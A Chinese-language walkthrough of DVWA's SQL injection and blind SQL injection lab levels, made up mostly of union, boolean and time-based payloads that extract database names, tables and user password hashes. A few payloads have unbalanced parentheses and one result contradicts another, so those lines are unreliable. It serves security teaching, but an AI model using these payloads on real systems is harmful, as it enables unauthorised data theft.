SQL Injection
手动注入的步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
Low
1.判断是否存在注入,注入是字符型还是数字型
输入1,查询成功:
输入 1’ and ‘1’ = '2,查询失败返回结果为空:
输入 1’ or ‘1’ = '1 ,查询成功:
返回了多个结果说明存在字符型注入
2.猜解SQL查询语句中的字段数
输入 1’ or 1 = 1 order by 1 #,查询成功
输入1’ or 1 = 1 order by 2 #,查询成功
输入1’ or 1 = 1 order by 3 #,查询失败
说明SQL查询语句中只有两个字段,这里的First name和Surname
或者使用1’ union select 1,2 #,查询成功
3.确定显示的字段顺序
输入1’ union select 1,2 #,查询成功
4.获取当前数据库
输入1’ union select 1,database() #,查询成功
说明当前的数据库为dvwa
5.获取数据库中的表
输入 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功
说明数据库dvwa中一共有两个表,guestbook与users
6.获取表中的字段名
输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #,查询成功:
说明users表中有8个字段,分别是
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.下载数据
输入1’ union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功
Medium
mysql_real_escape_string函数对特殊符号转,这里形同虚设,因为这是个数字型注入,不需要借助引号,这是下拉式的,抓包改数据绕过。
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功
High
与Medium一致,只是在SQL查询语句中多了一句LIMIT 1,利用#号注释,同时查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,防止一般的sqlmap注入
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible
了PDO技术,划清了代码与数据的界限,有效防止SQL注入
sqlmap使用细则
MySQL注入点写入WebShell的几种方式
用sqlmap跑post型注入
SQL Injection (Blind)
SQL盲注,攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,盲注难度比一般注入高。
盲注分为基于布尔的盲主,基于时间的盲注以及基于报错的盲注。
手工盲注的基本步骤
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
Low
只能输出是或否
基于布尔的盲注
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示用户存在:
输入1’ and 1 = 1 #,显示存在:
输入1’ and 1 = 2 #,显示不存在:
说明存在字符型SQL盲注
2.猜解当前数据库名
猜解数据库名,首先猜解数据库名的长度,然后逐个猜解字符。
输入1’ and length(database())=1 #,显示不存在
输入1’ and length(database())=2 #,显示不存在
输入1’ and length(database())=3 #,显示不存在
输入1’ and length(database())=4 #,显示存在
说明数据库长度为4
下面采用二分法猜解数据库名。
输入1’ and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)
输入1’ and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值)
输入1’ and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库的第一个字符的ascii值小于109(小写字母m的ascii值)
输入1’ and ascii(substr(database(),1,1))< 103#,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值)
输入1’ and ascii(substr(database(),1,1))< 100#,显示不存在,说明数据库的第一个字符的ascii值不小于100(小写字母d的ascii值)
输入1’ and ascii(substr(database(),1,1))> 100#,显示不存在,说明数据库的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库的名的第一个字符ascii值为100,即小写字母d。
重复上述步骤,即可猜解出完整的数据库名(dvwa)了。
3.猜解数据库的表名
首先猜解数据库中的表的数量:
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #,显示不存在
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,显示存在
说明数据库中共有两个两个表。
接着挨个猜解表名
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #,显示不存在
一直尝试直到9
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在
说明第一个表名长度为9
1’ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # ,显示存在
1’ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #,显示存在
1’ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #,显示存在
1’ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #,显示存在
1’ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #,显示不存在
1’ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #,显示不存在
说明第一个表的名字的第一个字符为小写字母g
重复上述步骤,即可猜解出两个表名(guestbook、users)。
4.猜解表中的字段名
首先猜解表中字段的数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 #,显示不存在
1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 #,显示存在
说明users表有8个字段
接着挨个猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1 # ,显示不存在
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7 # ,显示存在
说明users表的第一个字段为7个字符长度
采用二分法,即可猜解出所有字段名。
5.猜解数据
同样采用二分法
基于时间的盲注:
1.判断是否存在注入,注入是字符型还是数字型
1’ and sleep(5) #,感觉到明显延迟
1 and sleep(5) #,没有延迟
说明存在字符型的基于时间的盲注
2.猜解当前数据库名
1’ and if(length(database())=1,sleep(5),1) #,没有延迟
1’ and if(length(database())=2,sleep(5),1) #,没有延迟
1’ and if(length(database())=3,sleep(5),1) #,没有延迟
1’ and if(length(database())=4,sleep(5),1) #,明显延迟
说明数据库名长度为4个字符
接着采用二分法猜数据库名
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) #,明显延迟
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1) #,没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1) #,没有延迟
说明数据库名的第一个字符为小写字母d
重复上述步骤,即可猜解出数据库名
3.猜解数据库中的表名
首先猜解数据库中表的数量
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) #,没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) #,明显延迟
说明数据库中有两个表
接着猜解表名
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #,没有延迟
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #, 明显延迟
说明第一个表名的长度为9个字符
采用二分法即可猜解出表名
4.猜解表中的字段名
首先猜解表中字段的数量:
1’ and if((select count(column_name) from information_schema.columns where table_name=‘users’)=1,sleep(5),1) #,明显延迟
1’ and if((select count(column_name) from information_schema.columns where table_name=‘users’)=8,sleep(5),1) #,明显延迟
说明users表中有8个字段
接着挨个猜字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=1,sleep(5),1) #,没有延迟
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7,sleep(5),1) #,明显延迟
说明users表ed第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名
5.猜解数据
采用二分法
Medium
mysql_real_escape_string函数转义特殊字符;下拉选择菜单。基于布尔或基于时间数字型注入,抓包改参数
High
当SQL查询结果为空时,会执行函数sleep(seconds),扰乱基于时间的盲注;添加了LIMIT 1。基于布尔型注入,#号注释
Impossible
PDO技术,划清代码与数据的界限